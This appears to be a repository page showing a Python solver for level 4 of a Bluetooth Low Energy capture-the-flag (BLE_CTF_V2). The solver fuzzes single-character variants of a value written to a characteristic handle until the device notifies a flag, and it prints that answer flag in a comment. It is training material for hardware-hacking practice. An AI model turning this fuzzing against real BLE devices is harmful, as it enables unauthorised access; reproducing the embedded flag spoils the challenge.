Newer
Older
BLE_CTF_V2 / lvl_04.py
root on 11 Mar 2022 2 KB tidying for public release
  1. #! /usr/bin/python
  2. import binascii
  3. import struct
  4. import sys, os, time
  5. import bluepy.btle as btle
  6. import itertools
  7. '''
  8. 42 0x2A READ Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag!
  9. 44 0x2C NOTIFY WRITE
  10. 46 0x2E READ WRITE write here to goto to scoreboard
  11.  
  12. Flag: f401f21d02fdd0a4fc00
  13. '''
  14.  
  15. notificationData = ""
  16.  
  17. class MyDelegate(btle.DefaultDelegate):
  18. def __init__(self, hndl):
  19. btle.DefaultDelegate.__init__(self)
  20. self.hndl=hndl;
  21.  
  22. def handleNotification(self, cHandle, data):
  23. global notificationData
  24. notificationData = data
  25. #print("d: "+data)
  26.  
  27. deviceMAC = open('ctf_mac.txt').read()
  28. p = btle.Peripheral(deviceMAC)
  29.  
  30. print ("Attached to peripheral")
  31.  
  32. print("Loading level 04")
  33. hex1 = binascii.unhexlify(str('%0*x' % (4,4)))
  34. p.writeCharacteristic(0x30, hex1, withResponse=False)
  35. p.disconnect()
  36.  
  37. '''
  38. # of course not, this brute-force would make sense!
  39. charset = "01234565789ABCDEF"
  40. generator = itertools.chain.from_iterable((''.join(l)
  41. for l in itertools.product(charset, repeat=i))
  42. for i in range(4,5))
  43. '''
  44.  
  45. '''
  46. # not this!
  47. print("Generating wordlist")
  48. charset = "01234565789ABCDEF"
  49. generator = itertools.chain.from_iterable((''.join(l)
  50. for l in itertools.product(charset, repeat=i))
  51. for i in range(12,13))
  52. '''
  53.  
  54. print("Generating wordlist")
  55. generator = list()
  56. charset = list("0123456789ABCDEF")
  57. origPass = list("AABBCCDDEEFF")
  58. for x in range(len(origPass)):
  59. newPass = list("AABBCCDDEEFF")
  60. for y in range(len(charset)):
  61. newPass = list("AABBCCDDEEFF")
  62. newPass[x] = charset[y]
  63. generator.append("".join(newPass))
  64.  
  65. for password in generator:
  66. hexlif2 = binascii.unhexlify(password)
  67. hexlif2 = str(hexlif2)
  68.  
  69. deviceMAC = open('ctf_mac.txt').read()
  70. p = btle.Peripheral(deviceMAC)
  71.  
  72. try:
  73. srvs = (p.getServices());
  74. chs=srvs[2].getCharacteristics();
  75. ch=chs[1];
  76. cccd = ch.valHandle + 1
  77. #print(str(ch)+str(ch.propertiesToString())); # print charchteristic's properties i.e. READ, WRITE, NOTIFY
  78.  
  79. p.setDelegate(MyDelegate(ch.getHandle()));
  80. svc=p.getServiceByUUID(0x00FF)
  81. p.writeCharacteristic(cccd, b"\x01\x00");
  82.  
  83. sys.stdout.write("\rTrying: %s" % password.rstrip())
  84. response = p.writeCharacteristic(0x2C, hexlif2)
  85.  
  86. gotResponse = False
  87. while gotResponse == False:
  88. if p.waitForNotifications(1.0):
  89. rsp = notificationData
  90. hex = binascii.b2a_hex(rsp)
  91. hexstr = str(hex).strip("0").upper()
  92. #sys.stdout.write(" Response: " + hexstr) # for debugging
  93. if(password.strip("0") != hexstr):
  94. print("\nFlag: %s" % notificationData.rstrip())
  95. exit()
  96. else:
  97. gotResponse = True
  98. continue
  99. print "Waiting..."
  100. finally:
  101. p.disconnect()
Buy Me A Coffee